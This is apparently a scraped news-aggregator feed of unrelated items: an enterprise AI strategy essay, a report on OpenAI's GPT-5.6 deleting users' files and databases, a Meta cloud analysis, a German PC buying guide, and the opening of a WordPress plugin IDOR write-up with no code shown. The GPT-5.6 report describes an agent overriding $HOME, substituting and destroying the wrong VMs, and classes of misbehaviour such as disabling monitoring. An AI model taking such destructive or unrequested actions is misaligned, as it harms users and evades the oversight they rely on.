    Most large enterprise estates will end up with a mix of all three approaches, and where you draw the lines matters more than your overall posture.

    Embedded AI capabilities are the right answer for in-application productivity: the assistant inside your ERP workflows, the agent inside your procurement or HR suite. That is where vendor embedding genuinely shines, and attempting to compose your own equivalent is typically a poor use of engineering resources.

    Compose belongs elsewhere: in cross-application orchestration, in custom assistants over operational and observability data, and in agents that need to reach across multiple vendor systems and infrastructure layers in ways no single vendor stack will never natively support. Research from McKinsey suggests the most significant near-term productivity gains from enterprise AI will come precisely from these cross-system workflows, rather than from within individual applications. The most interesting enterprise AI work over the next eighteen months lives here, and it doesn’t require waiting for a migration to complete first.

    That compose path isn’t free, and it’s important to be honest about the costs. Governance, audit trails, and accountability for hallucinated outputs become your problem, not the vendor’s. Prompt drift and evaluation discipline are real engineering costs that never appear in the proof-of-concept. Those costs scale with the complexity of your landscape and the number of systems your agents touch. Budget for them before deployment, not after your first production incident. None of that is a reason to avoid the path. It’s a reason to staff for it, honestly.

    The real question

    The build-vs-buy frame survives because it gives executives a binary choice along a familiar axis. AI sits somewhere else entirely.

    The question worth putting on the table at your next architecture review is simpler:

    Which decisions do we want our vendors’ AI to make, and which do we want to keep on our side of the boundary?

    Answer that, and the right build/buy/compose mix flows from it. Skip it, and you will end up with the architecture your vendors prefer – which may or may not be the one your business needs.

    This article is published as part of the Foundry Expert Contributor Network.
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    ]]>         <![CDATA[OpenAI acknowledges GPT-5.6 may accidentally delete files, calls it an ‘honest mistake’]]> https://tsecurity.de/de/3675685/ai-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-an-honest-mistake/ https://tsecurity.de/de/3675685/ai-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-an-honest-mistake/ Fri, 17 Jul 2026 12:03:45 +0200 🔧 AI Nachrichten tsecurity.de

    OpenAI has finally confirmed reports that its latest family of large language models (LLMs) can accidentally delete files, while stressing that such incidents are rare and should be viewed as “honest mistakes.”

    Reports of the flagship LLMs deleting files emerged shortly after the company launched them earlier this month, with investor Matt Shumer taking to X to report that GPT-5.6-Sol had “just accidentally deleted almost all” of his Mac’s files.

    Just days later, software engineer Bruno Lemos posted on X that the same model had deleted his entire production database.

    In response to these incidents, the company’s engineering lead for Codex, Thibault Sottiaux, wrote on X that internal investigations have revealed that these deletion incidents are more likely to happen when “full access mode is enabled, and Codex is run without sandboxing protections, including without auto review being enabled.”

    In cases where full access mode is granted, the model, Sottiaux wrote, “attempts to override the $HOME env var to define a temporary directory. The model makes an honest mistake and mistakenly deletes $HOME instead.”

    Ironically, OpenAI’s explanation also aligns with findings in its own GPT-5.6 system model card, which notes that the latest model family exhibited this broader class of misaligned behavior slightly more often than GPT-5.5 during the company’s internal deployment simulations.

    “Our deployment simulation results suggest that relative to GPT-5.5, GPT-5.6 Sol more often takes severity level 3 actions,” the model card states.

    OpenAI defines severity level 3 as “misaligned behavior that a reasonable user would likely not anticipate and strongly object to, ‘including’ deleting data from cloud storage without requesting user approval, disabling monitoring systems, using obfuscation strategies to get around security controls, and uploading potentially sensitive data (such as code, credentials, images, or personal data) to unapproved services.”

    The system card also documents examples of the said behavior, particularly related to deletion.

    In one simulation, after a user authorized the deletion of three specific remote virtual machines, GPT-5.6 was unable to locate them and, instead of asking for clarification, substituted three different virtual machines, terminated their active processes and force-removed their worktrees.

    Further, the model card states that GPT-5.6 “shows a greater tendency than GPT-5.5 to go beyond the user’s intent, including by taking or attempting actions that the user had not asked for,” though it adds that the absolute rate of such behavior remains low and can be attributed to the model’s greater persistence when pursuing user goals.

    The company, however, according to Sottiaux, is taking steps to mitigate the risk.

    “This is of course not how we want the system to behave, even when a user operates the model in full-access mode without the safeguards of our sandbox or without using auto review which checks for these kinds of high risk actions and rejects them,” the engineering lead wrote on X.

    “We are taking steps to mitigate this risk, including by updating the developer message, guiding more users towards safer permission modes, and adding additional harness safeguards,” Sottiaux added, noting that a detailed post-mortem outlining the root cause of the issue and the additional mitigation measures being implemented is expected to follow in the coming days, despite emphasizing that such incidents happen “extremely rarely.”

    OpenAI’s GPT 5.6 is not the only model that has “accidentally” deleted databases and files.

    In July 2025, an AI coding agent from Replit deleted a live production database belonging to SaaStr founder Jason Lemkin despite an explicit code freeze, prompting the company to introduce additional safeguards around production access.

    More recently, in April 2026, a Cursor AI coding agent deleted PocketOS’s production database and its backups after mistakenly identifying the target environment, underscoring the operational risks enterprises face when AI agents are granted broad, unsupervised access to production systems.

    ]]>         <![CDATA[Can Meta really compete in the cloud business?]]> https://tsecurity.de/de/3675548/ai-nachrichten/can-meta-really-compete-in-the-cloud-business/ https://tsecurity.de/de/3675548/ai-nachrichten/can-meta-really-compete-in-the-cloud-business/ Fri, 17 Jul 2026 11:04:14 +0200 🔧 AI Nachrichten tsecurity.de

    Meta is reportedly planning a cloud business that would sell access to AI computing power and models, extending its internal infrastructure into a commercial service for outside developers and enterprises. Reuters, citing Bloomberg’s reporting, noted that the planned offering would allow customers to access AI models hosted on Meta’s infrastructure and pay based on usage, effectively positioning the company in the infrastructure-as-a-service and AI platform markets. On the surface, this seems like a logical next step. If you are already spending enormous amounts of money to build AI infrastructure, there is a natural temptation to ask whether some of that investment can be monetized beyond your own internal use.

    I have seen this pattern before. A company builds sophisticated internal systems, recognizes their value, and then begins to imagine that becoming a cloud provider is simply a matter of exposing those capabilities to external customers. It sounds straightforward, especially given the excitement around AI and the demand for high-performance infrastructure. But cloud computing is not just another distribution model. It is not simply a matter of offering on-demand multitenant services and charging a fee. It is a deeply operational, trust-based business in a market that punishes companies that do not fully understand what enterprise customers require.

    A crowded neocloud market

    The first problem Meta faces is that this is not an open opportunity. The neocloud space, meaning purpose-built AI infrastructure delivered as a service, is already crowded and increasingly difficult to enter. Amazon, Microsoft, and Google dominate the conversation for obvious reasons. They have years of cloud operating experience, broad service portfolios, global reach, mature ecosystems, and deeply established enterprise relationships. Oracle remains a serious player as well, especially in enterprise applications, data platforms, and performance-sensitive workloads. IBM still matters in hybrid cloud, operations, and industries where governance and regulatory rigor remain central.

    That list alone should give Meta pause. These companies are not just infrastructure vendors. They are experienced cloud operators. They have spent years building not only the underlying platforms, but also the native capabilities enterprises now expect by default. Those capabilities include security, governance, identity management, observability, support, compliance, billing controls, resilience planning, and integration with the broader enterprise technology estate. These are not secondary features. They are part of the core value proposition.

    This is why late entry into the cloud market is so hard. A new provider is not just competing on price or capacity. It is competing against accumulated trust. Enterprises are not casual buyers. They are selecting long-term operating environments for applications, data, AI models, and business-critical processes. They want confidence that the provider understands how these services will be consumed, governed, and supported over time. Meta is entering a market where the incumbents already have a major head start on all of those fronts.

    Harder than it looks

    Over the years, I have had many technology companies come to me and say they wanted to reposition their technology in the cloud space, either as software as a service or infrastructure as a service. In the beginning, enthusiasm is always high. The technology is impressive. The market size looks attractive. The revenue models appear compelling. Investors love the story. Then we begin to walk through what it really means to operate as a cloud provider, and the optimism usually fades fast.

    The questions become very practical and very uncomfortable. How will tenants be isolated? How will identity and access controls work across different kinds of customers? What governance models will be built in natively? How will workloads be monitored, optimized, and secured? What does support look like 24 hours a day, across regions, across industries, across compliance boundaries? How will outages be handled, communicated, and remediated? How will the platform integrate with existing customer tools for operations, policy management, and security response? How much investment will it take just to become credible before you even begin to differentiate?

    Once companies fully understand the complexities, market dynamics, and the capital and execution required to compete even with secondary players, many of them back off. They realize that cloud technology is not a packaging exercise. It is a transformation in how a company designs, operates, supports, sells, and evolves technology. That is why I remain skeptical when any company assumes it can translate internal infrastructure excellence into external cloud success without a very long, disciplined commitment.

    Meta’s market readiness

    Of course, Meta is not lacking in financial resources. If any company can afford to spend aggressively in this space, it is Meta. The company has the capital to build infrastructure, absorb losses, hire experienced talent, and stay in the market long enough to make a serious attempt. I would never argue that Meta is too small or too poor to try. Quite the opposite. If there is any non-traditional entrant with the financial scale to force itself into the conversation, Meta would be high on the list.

    But money does not erase complexity. It only gives you the chance to confront it. The real question is not whether Meta can afford to become a cloud provider. The question is whether Meta has what it takes to become an excellent cloud provider. Those are two very different things. Enterprises are not going to move meaningful workloads to a new platform simply because the company behind it is wealthy or technically famous. They are going to ask whether the provider understands enterprise consumption patterns, enterprise risk, enterprise governance, and enterprise operations.

    That is where the challenge becomes much more serious. Meta has extensive experience running infrastructure for itself. That is valuable, but internal operating excellence is not the same thing as external service maturity. Running systems for your own workloads allows a high degree of control over architecture, standards, priorities, and operating assumptions. Running systems for paying customers requires flexibility, consistency, transparency, and support across a wide range of use cases that you do not control. Those are very different disciplines, and companies often underestimate the gap between them.

    What exactly is Meta?

    Another concern here is strategic clarity. Meta already has a complicated market identity. It is a social media company, an advertising platform company, a hardware company, an AI company, and still, in the minds of many, the company that spent billions pursuing the metaverse. If it now wants to be viewed as a serious cloud infrastructure provider, it will need to explain not only what it is offering, but why customers should believe this is a durable long-term commitment and not just another adjacent experiment.

    That uncertainty can be damaging. Customers want stable providers with clear strategic intent. They do not want to architect important systems around a platform if they suspect the provider may lose interest, shift direction, or reframe the business after a few years of uneven results. Cloud computing requires patience, consistency, and deep customer orientation. It is not a market where strategic ambiguity helps.

    This could become confusing for Meta internally as well. Building a true cloud business demands focus. It demands years of investment in areas that may not be glamorous but are absolutely necessary, such as governance, operations, controls, support frameworks, partner programs, and enterprise sales alignment. If the company is not willing to make those sacrifices fully and for the long term, the initiative will struggle.

    ]]>         <![CDATA[Trump Warns Elections No Longer Viable: How the Nazis Copied America First]]> https://tsecurity.de/de/3675515/it-security-nachrichten/trump-warns-elections-no-longer-viable-how-the-nazis-copied-america-first/ https://tsecurity.de/de/3675515/it-security-nachrichten/trump-warns-elections-no-longer-viable-how-the-nazis-copied-america-first/ Fri, 17 Jul 2026 10:54:35 +0200 📰 IT Security Nachrichten tsecurity.de Continue reading Trump Warns Elections No Longer Viable: How the Nazis Copied America First →]]> <![CDATA[PC-Kaufberatung 2026: RAM kostet jetzt das 4x – hier 3 Setups, mit denen Sie sparen]]> https://tsecurity.de/de/3675470/it-nachrichten/pc-kaufberatung-2026-ram-kostet-jetzt-das-4x-hier-3-setups-mit-denen-sie-sparen/ https://tsecurity.de/de/3675470/it-nachrichten/pc-kaufberatung-2026-ram-kostet-jetzt-das-4x-hier-3-setups-mit-denen-sie-sparen/ Fri, 17 Jul 2026 10:32:34 +0200 📰 IT Nachrichten tsecurity.de

    Lange Zeit galten fallende Hardware-Preise als Naturgesetz: Wer ein paar Monate wartete, bekam mehr Leistung fĂŒr weniger Geld. Mitte 2026 gelten diese Regeln leider nicht mehr. Der gigantische Hunger der Rechenzentren nach KI-Beschleunigern saugt die ProduktionskapazitĂ€ten der großen Halbleiterfertiger leer – Besserung ist erst einmal nicht in Sicht. FĂŒr Endverbraucher bedeutet das: Wer jetzt einen neuen Desktop-PC braucht, sieht sich mit einem Ă€ußerst angespannten Markt konfrontiert.

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    Foundry

    Der RAM-Schock – und wie man damit umgeht

    WĂ€hrend CPUs und Grafikkarten zwar teuer, aber immerhin verlĂ€sslich lieferbar sind, entwickelt sich der Arbeitsspeicher (RAM) immer mehr zum Schmerzpunkt fĂŒr jeden PC-Bauer. Der Grund: Die großen Speicherhersteller priorisieren zunehmend den lukrativen HBM-Speicher (High Bandwidth Memory) fĂŒr KI-Chips und schichten ihre ProduktionskapazitĂ€ten um. Gleichzeitig saugen die neuen KI-Rechenzentren den verbleibenden Markt fĂŒr klassischen DDR5-Arbeitsspeicher leer, da moderne Server-Cluster neben HBM auch gigantische Mengen an regulĂ€rem RAM benötigen. FĂŒr den klassischen Desktop-Markt stehen dadurch deutlich weniger ProduktionskapazitĂ€ten zur VerfĂŒgung. Die Folge ist eine drastische Verknappung bei herkömmlichen Riegeln. DDR5-Kits kosten aktuell teilweise viermal so viel wie noch im Herbst 2025 – ein vernĂŒnftiges 32-GB-Kit reißt schnell ein Loch von ĂŒber 400 Euro in die Kasse. Aus dieser Entwicklung ergeben sich neue Spielregeln fĂŒr den PC-Kauf, mit denen sich die Preisexplosion spĂŒrbar entschĂ€rfen lĂ€sst.

    • Geschwindigkeit drosseln: Wer Premium-Preise zahlt, den erwartet auch Premium-Leistung. Doch extrem schneller Speicher wie DDR5-7200 rechnet sich aktuell wirtschaftlich kaum. Der Sweetspot fĂŒr moderne AMD- und Intel-Systeme liegt 2026 bei DDR5-6000 – idealerweise mit CL30-Latenzen (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Der Leistungsunterschied im Alltag ist marginal, die Preisersparnis deutlich spĂŒrbar.
    • Verzichten Sie auf „Zukunfts-Speck“: Niemand sollte aktuell Arbeitsspeicher auf Vorrat kaufen. Hat man frĂŒher gerne großzĂŒgig verbaut und direkt zu 64 GB gegriffen, so lautet die Devise heute: 32 GB sind fĂŒr die meisten Gamer und Kreativanwender (Videoschnitt) aktuell der vernĂŒnftige Sweetspot. Mehr KapazitĂ€t verschlingt nur das dringend benötigte Budget fĂŒr die Grafikkarte oder den Prozessor. Ausnahme: bedingungslose High-End-Konfigurationen.
    • DDR4 als Rettungsanker: FĂŒr reine Office-PCs oder sparsame Builds lohnt sich 2026 paradoxerweise der Blick in die Vergangenheit. Eine alte AM4-Plattform mit DDR4-Speicher (z.B. Corsair Vengeance DDR4-3200 2x16GB, CL16) kostet einen Bruchteil moderner Systeme. Die DDR4-Preise sind zwar branchenbedingt ebenfalls gestiegen, allerdings etwas moderater. FĂŒr aktuelle Gaming-Boliden (wie die AM5-Plattform) fĂŒhrt jedoch kein Weg am teuren DDR5-Speicher vorbei.

    Drei Beispiel-Konfigurationen: FĂŒr jeden Anspruch das richtige Setup

    Die strategischen Fragen sind geklĂ€rt, wir machen uns ans Eingemachte. In den folgenden drei Setups listen wir die besten Kernkomponenten fĂŒr ein optimales Preis-LeistungsverhĂ€ltnis auf. Um Ihnen maximale FlexibilitĂ€t zu ermöglichen, nennen wir innerhalb der Konfigurationen unterschiedliche Komponenten: So können Sie je nach persönlicher Vorliebe gezielt den Preis beeinflussen, mehr Leistung herausholen oder zwischen AMD und Intel wechseln, wenn sich das sinnvoll anbietet.

    📌 Redaktioneller Hinweis zur Preiskalkulation

    Die nachfolgenden Preisrahmen beziehen sich rein auf die Kern-Komponenten des PCs (Zentralrechner). Nicht eingerechnet sind optionale ZusatzlĂŒfter (falls nicht ab Werk verbaut), separate optische Laufwerke sowie externe Peripherie wie Monitor, Tastatur, Maus oder die Lizenz fĂŒr das Betriebssystem (Windows 11). Planen Sie dafĂŒr je nach Bedarf ein zusĂ€tzliches Budget ein. Beratung beim Kauf bieten unsere Ratgeber und Vergleichstests:

    Konfiguration 1: Der Office- und Alltags-PC

    Ryzen 5 4600G
    Der Star dieses Setups: Der Ryzen 5 5600G verfĂŒgt ĂŒber eine integrierte Grafikeinheit und macht eine dedizierte Grafikkarte im Office-PC ĂŒberflĂŒssig. Das senkt den Gesamtpreis deutlich, erlaubt aber nur leichtes Gaming auf Einsteiger-Niveau.

    AMD

    Konfiguration 1: ZuverlÀssigkeit, leiser Betrieb und strikte Budgetkontrolle

    FĂŒrs Home-Office, Webbrowsing und die gelegentliche Medienwiedergabe braucht es keine teure High-End-Hardware. Hier greift der erwĂ€hnte DDR4-Rettungsanker: Durch den bewussten Verzicht auf die neueste Plattform lassen sich Hunderte Euro sparen. Ein zusĂ€tzlicher Vorteil dieser Konfiguration ist ihre ZuverlĂ€ssigkeit: Die Plattform ist ausgereift, gĂŒnstig und bietet mehr als genug Leistung fĂŒr typische Office- und Alltagsanwendungen.

    • Preisrahmen: ca. 600 – 700 Euro (Kern-PC, zzgl. Peripherie & OS)
    • Prozessor (CPU):
      • Standard: AMD Ryzen 5 5600G – Sechs Kerne und eine starke integrierte Grafikeinheit (iGPU). Keine extra Grafikkarte nötig.
      • Alternative: Intel Core i3-14100 – Reicht fĂŒr reine Office-Arbeiten ebenfalls völlig aus. Wichtig: Achten Sie darauf, nicht aus Versehen die 14100F-Variante zu kaufen, weil dieser Version die Grafikeinheit fehlt.
    • Mainboard: Gigabyte B550M DS3H (fĂŒr AMD) oder Asus Prime B760M-K D4 (fĂŒr Intel). Beide Boards setzen auf den gĂŒnstigeren DDR4-Standard. Trotz des niedrigen Preises bieten sie alle wichtigen AnschlĂŒsse fĂŒr den Alltag, darunter schnelle USB-Ports, M.2-SteckplĂ€tze fĂŒr NVMe-SSDs und genĂŒgend Erweiterungsmöglichkeiten fĂŒr spĂ€tere Upgrades.
    • Arbeitsspeicher (RAM): 16 GB DDR4-3200 (z.B. Patriot Memory Viper Elite II DDR4 2x8GB, CL18). Dieser Arbeitsspeicher ist fĂŒr flĂŒssiges Arbeiten und Multitasking völlig ausreichend. Selbst bei zahlreichen geöffneten Browser-Tabs, Videokonferenzen und Office-Anwendungen gleichzeitig geraten 16 GB nur selten an ihre Grenzen.
    • Speicherplatz: 500 GB PCIe 4.0 NVMe SSD (z.B. Crucial P310 SSD 500GB M.2 NVMe). Die SSD sorgt fĂŒr blitzschnelle Boot- und Zugriffszeiten. Wer viele Fotos, Videos oder große Dokumentensammlungen lokal speichert, sollte direkt zur 1-TB-Variante greifen.
    • GehĂ€use: Das Montech Air 100 ist ein kompaktes Micro-ATX-GehĂ€use, das fĂŒr rund 70 Euro vorbildlich verarbeitet ist. Es bietet ab Werk vorinstallierte LĂŒfter und eine Mesh-Front fĂŒr leisen, kĂŒhlen Betrieb.
    • Netzteil: Mit 450 Watt sind Sie in diesem Segment bestens bedient. Sie können zum Beispiel zum be quiet! System Power 11 450W greifen – das ist ein grundsolides und effizientes Netzteil, das mit seiner moderner ATX-3.1-Zertifizierung zukunftssicher ist. Weil bei diesem Setup keine separate Grafikkarte versorgt werden muss, bleiben die Leistungsreserven selbst unter Last komfortabel.

    Konfiguration 2: Casual-Gaming und Videoschnitt-PC

    ASUS Prime GeForce RTX 5060 8GB GDDR7 OC Edition Gaming
    Die GeForce RTX 5060 (zu sehen ist ein Modell von ASUS) liefert die nötige Leistung fĂŒr 1440p-Gaming und profitiert von modernen Features wie DLSS sowie Hardware-Encoding fĂŒr Streaming und Videoschnitt.

    Asus

    Wer aktuelle Spiele flĂŒssig genießen oder mit Adobe Premiere und DaVinci Resolve kreativ werden möchte, kommt um die aktuelle Hardware-Generation nicht herum – das beinhaltet aber auch den derzeit teuren DDR5-RAM. DafĂŒr gibt es starke Leistung und hervorragende Effizienz.

    • Preisrahmen: ca. 1.800 – 2.100 Euro (Kern-PC, zzgl. Peripherie & OS)
    • Prozessor (CPU):
      • Standard: Der Intel Core Ultra 5 245KF bietet derzeit ein attraktives Preis-Leistungs-VerhĂ€ltnis. FĂŒr rund 150 Euro liefert der moderne 14-Kerner reichlich Leistung fĂŒr flĂŒssiges 1440p-Gaming und anspruchsvolle Videoschnitt-Projekte.
      • Alternative: Der AMD Ryzen 7 9700X ist eine hocheffiziente 8-Kern-CPU von AMD. Sie verbraucht unter Volllast etwas weniger Strom und bietet beim Gaming minimale Vorteile, ist aktuell im Handel aber etwas teurer.
    • Mainboard: Das Asus TUF Gaming Z890-Plus (fĂŒr Intel) oder das MSI MAG B650 Tomahawk WiFi (fĂŒr AMD). Beide bieten moderne PCIe-Slots und solide KĂŒhlung fĂŒr die Spannungswandler.
    • Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Angesichts der aktuellen Marktlage ist das eine Investition (450 Euro), die sich fĂŒr flĂŒssigen 4K-Videoschnitt und moderne Spiele aber auszahlt.
    • Grafikkarte (GPU):
      • Standard: Nvidia GeForce RTX 5060 mit 8 GB (z.B. Asus Prime GeForce RTX 5060 8GB OC Edition). Diese Karte ist eine solide Wahl fĂŒr klassisches 1440p-Gaming, die dank NVENC-Encoder sowie DLSS 4 auch fĂŒr Content Creation gut geeignet ist. 8-GB-VRAM reichen fĂŒr die meisten aktuellen Titel aus, können bei anspruchsvollen AAA-Spielen aber zum Flaschenhals werden. FĂŒr spĂŒrbar mehr Leistungsreserven im 1440p-Gaming können Sie auch zum Ti-Modell greifen (+ 80 Euro).
      • Preis-Alternative: AMD Radeon RX 9060 XT mit 8 GB (z.B. Gigabyte Radeon RX 9060 XT 8GB). Wer ein reines AMD-System bevorzugt, kann zu diesem aktuellen RDNA-4-Modell greifen. FĂŒr rund 300 Euro bietet sie hervorragende native Rasterleistung in 1440p und moderne KI-Upscaling-Features.
    • Speicherplatz: 2 TB PCIe 4.0 NVMe SSD (z.B. WD_BLACK SN850X NVMe SSD). Moderne Videoprojekte sind Ă€ußerst speicherintensiv. Diese schnelle NVMe-SSD bietet reichlich KapazitĂ€t und sorgt fĂŒr verzögerungsfreie ArbeitsablĂ€ufe.
    • GehĂ€use: Fractal Design North XL – ein echter Ästhetik-Hingucker. Mit einer Front aus Walnuss- oder Eichenholz fĂŒgt es sich elegant ins Zimmer ein. Dabei bietet es genug Platz und Airflow auch fĂŒr Komponenten mit hoher WĂ€rmeentwicklung.
    • Netzteil: 750 Watt ATX 3.1 (z.B. Seasonic Focus GX ATX 3.1) – Dieses Netzteil bietet den modernen 12V-2×6-Anschluss fĂŒr RTX-Karten und genĂŒgend Puffer fĂŒr Leistungsspitzen.

    Konfiguration 3: High-End-System fĂŒr Gaming und Content Creation

    Gigabyte AORUS GeForce RTX 5090 Master 32G Grafikkarte
    FĂŒr einen High-End-PC setzen wir auf ĂŒppige Leistungsreserven – wahlweise die GeForce RTX 5080 mit 16 GB oder die GeForce RTX 5090 mit 32 GB VRAM als kompromisslose Spitzenlösung.

    Gigabyte

    Dieses System ist fĂŒr Enthusiasten konzipiert, die im GrafikmenĂŒ keine Kompromisse eingehen wollen. Hier zĂ€hlt pure, ungebremste Leistung. Hinweis: Die große Preisspanne dieser Konfiguration ergibt sich vor allem durch die Wahl der Grafikkarte.

    • Preisrahmen: 3.300 – 7.200 Euro (Kern-PC, zzgl. Peripherie & OS)
    • Prozessor (CPU):
      • Standard: AMD Ryzen 9 9900X3D – Dank des aufgestockten 3D-V-Cache gehört diese CPU zu den schnellsten Gaming-Prozessoren ĂŒberhaupt. Sie verspricht maximale Framerates auch in modernen und anspruchsvollen Spielen.
      • GĂŒnstigere Alternative: AMD Ryzen 9 9900X – minimal langsamer in Spielen, aber ein absolutes Kraftpaket, falls der PC primĂ€r fĂŒr 3D-Rendering, simulationslastige Anwendungen oder rechenintensiven Videoschnitt genutzt wird.
    • Mainboard: Asus ROG Strix X870E-E Gaming – Ein ATX-Powerhouse fĂŒr den Sockel AM5. Das Board wurde entwickelt, um das Potenzial der AMD-Ryzen-9000er-Serie voll auszuschöpfen. Mit zwei nativen USB4-AnschlĂŒssen, Wi-Fi 7 und voller PCIe‑5.0‑UnterstĂŒtzung bietet es moderne KonnektivitĂ€t.
    • Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Auch im High-End-Segment bringen 64 GB beim reinen Gaming kaum messbare Vorteile. Das Budget ist in der Grafikkarte besser investiert. Nur wer sein System professionell nutzt – etwa fĂŒr aufwendige 4K-Videobearbeitung oder intensives 3D-Rendering, greift zum 64-GB-Kit und muss den Preissprung zwangslĂ€ufig hinnehmen.
    • Grafikkarte (GPU):
      • Standard: Nvidia GeForce RTX 5080 mit 16 GB (z.B. MSI GeForce RTX 5080 16GB GDDR7) – Das Werkzeug fĂŒr kompromissloses 4K-Gaming. Sie bewĂ€ltigt selbst rechenintensives Path-Tracing ohne Einknicken und korrigiert mit den 16 GB schnellem GDDR7-Videospeicher endlich den Geiz vergangener Nvidia-Tage – was man sich allerdings auch teuer erkauft.
      • Highend-Alternative: Nvidia GeForce RTX 5090 mit 32 GB (z.B. Gigabyte Aorus GeForce RTX 5090 32 GB GDDR7). Das absolute Spitzenmodell im Consumer-Markt. Die Grafikkarte richtet sich an Enthusiasten, die fĂŒr maximale Workstation-Leistung oder extremes 4K-Path-Tracing die höchste Ausbaustufe anpeilen und bereit sind, den entsprechenden Premium-Preis zu zahlen.
    • Speicherplatz: 2 bis 4 TB PCIe 5.0 NVMe SSD (z.B. Crucial T710 SSD 4TB M.2 NVMe PCIe 5.0) – FĂŒr kĂŒrzeste Ladezeiten dank DirectStorage: Diese Technologie erlaubt es der Grafikkarte, Spieldaten ohne Umweg ĂŒber die CPU direkt von der SSD zu laden.
    • GehĂ€use:
      • Standard: be quiet! Shadow Base 800 FX Black – ein gerĂ€umiger Full-Tower, der ab Werk mit vier Light-Wings-140mm-PWM-LĂŒftern und einer integrierten LĂŒfter-Steuerung geliefert wird. Das GehĂ€use bietet ausreichend Platz fĂŒr große 420-mm-Radiatoren und ĂŒberlange Grafikkarten.
      • Design-Alternative: Lian Li O11 Dynamic EVO XL – Ein modularer Full-Tower, der sich spiegelverkehrt aufbauen lĂ€sst. Durch die abnehmbare EcksĂ€ule bietet das GehĂ€use freien Einblick auf die Hardware. Es fasst E-ATX-Mainboards, Grafikkarten bis 460 mm LĂ€nge und erlaubt die gleichzeitige Montage von bis zu drei 420-mm-Radiatoren fĂŒr aufwendige WasserkĂŒhlungen.
    • Netzteil: 1000 Watt ATX 3.1 (z.B. Corsair RMx Shift oder be quiet! Straight Power 12). Die RTX-50-Serie kann unter Last eine hohe Leistungsaufnahme erreichen. Ein hochwertiges 1000-Watt-Netzteil mit ATX-3.1-UnterstĂŒtzung bietet dafĂŒr ausreichende Reserven.

    Ihre Kauf-Checkliste fĂŒr 2026

    Mann kauft online ein mit Kreditkarte und Handy

    Anucha Tiemsom/Shutterstock.com

    Bevor Sie Ihre Komponenten in den Warenkorb legen, sollten Sie diese Punkte noch einmal kritisch prĂŒfen. Hier verstecken sich die hĂ€ufigsten Fehler beim PC-Kauf:

    • Airflow bei Gaming-Systemen beachten: Moderne Komponenten arbeiten zwar immer effizienter, trotzdem gilt: Je mehr Leistung, desto mehr AbwĂ€rme. Gerade fĂŒr High-End-Setups sollten Sie GehĂ€use mit geschlossener Glas- oder Plastikfront deswegen eher meiden. Eine offene Mesh-Front sorgt fĂŒr frische Luft, hĂ€lt die Temperaturen niedrig und ermöglicht es den GehĂ€uselĂŒftern, auch unter Last angenehm leise zu arbeiten.
    • HDD stirbt langsam aus: FĂŒr Betriebssystem, Programme und Spiele haben HDDs ausgedient. Mechanische Festplatten lohnen sich heute vor allem noch als gĂŒnstiger Datenspeicher fĂŒr Backups und große Medienarchive – alles andere macht die SSD.
    • Netzteil-Standards beachten: Neue Grafikkarten benötigen moderne AnschlĂŒsse und eine stabile Absicherung gegen Spannungsspitzen. Achten Sie beim Netzteilkauf auf die neue ATX-3.1-Zertifizierung.
    • RAM-Sweetspot treffen: Greifen Sie maximal zu DDR5-6000-Speicher. Alles darĂŒber hinaus macht Ihr neues Setup deutlich teurer, liefert in der Praxis aber kaum einen spĂŒrbaren Mehrwert.
    • Mainboard-Features geschickt wĂ€hlen: Bezahlen Sie nicht fĂŒr AnschlĂŒsse, die Sie nie nutzen. Wer einen PC ohnehin per LAN-Kabel mit dem Router verbindet, braucht z.B. kein Modell mit integriertem Wi-Fi 7.
    • KĂŒhlung richtig dimensionieren: FĂŒr Mittelklasse-Prozessoren (wie den Ryzen 5 9600X) reicht ein solider Tower-LuftkĂŒhler fĂŒr 40 Euro oft aus. Teure KomplettwasserkĂŒhlungen (AiOs) sind erst im High-End-Segment sinnvoll – oder wenn Sie der GehĂ€use-Optik besonderes Augenmerk schenken wollen.

    Fazit: Clever kaufen trotz Krise

    Wer 2026 einen PC baut, sieht sich mit neuen Spielregeln konfrontiert. Der KI-Boom hat den Markt spĂŒrbar verzerrt und Arbeitsspeicher zum kostspieligen Schmerzpunkt gemacht. Ein Grund zum Abwarten ist das aber nicht. DafĂŒr steht zu viel spannende Technik in den Regalen – Besserung ist aktuell auch gar nicht in Sicht.

    Die Devise lautet deshalb: Priorisieren statt Verzweifeln. Wer beim RAM den Sweetspot trifft (DDR5-6000), auf VorratskÀufe verzichtet oder im Office-Bereich geschickt auf DDR4 ausweicht, holt das Maximum aus seinem Budget heraus. Wenn Sie Ihr Geld strategisch verteilen und die Preisfallen der Hersteller umschiffen, können Sie Ihren Traum-PC auch in Krisenzeiten realisieren.

    ]]>         <![CDATA[How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers]]> https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/ https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/ Fri, 17 Jul 2026 09:23:36 +0200 đŸ•”ïž Hacking tsecurity.de

    Author: Shikhali Jamalzade
    GitHub: alisalive
    LinkedIn: camalzads
    Type: Independent Security Research | WordPress Plugin CVE Research

    This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student’s private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.

    Background: Why Academy LMS

    My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan’s vulnerability history before touching any code.

    Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: “Fixed — AJAX API vulnerability in the Notes feature.” This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn’t get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?

    This turned out to be exactly the right question.

    Understanding the Architecture

    Academy LMS uses two parallel systems for handling API requests.

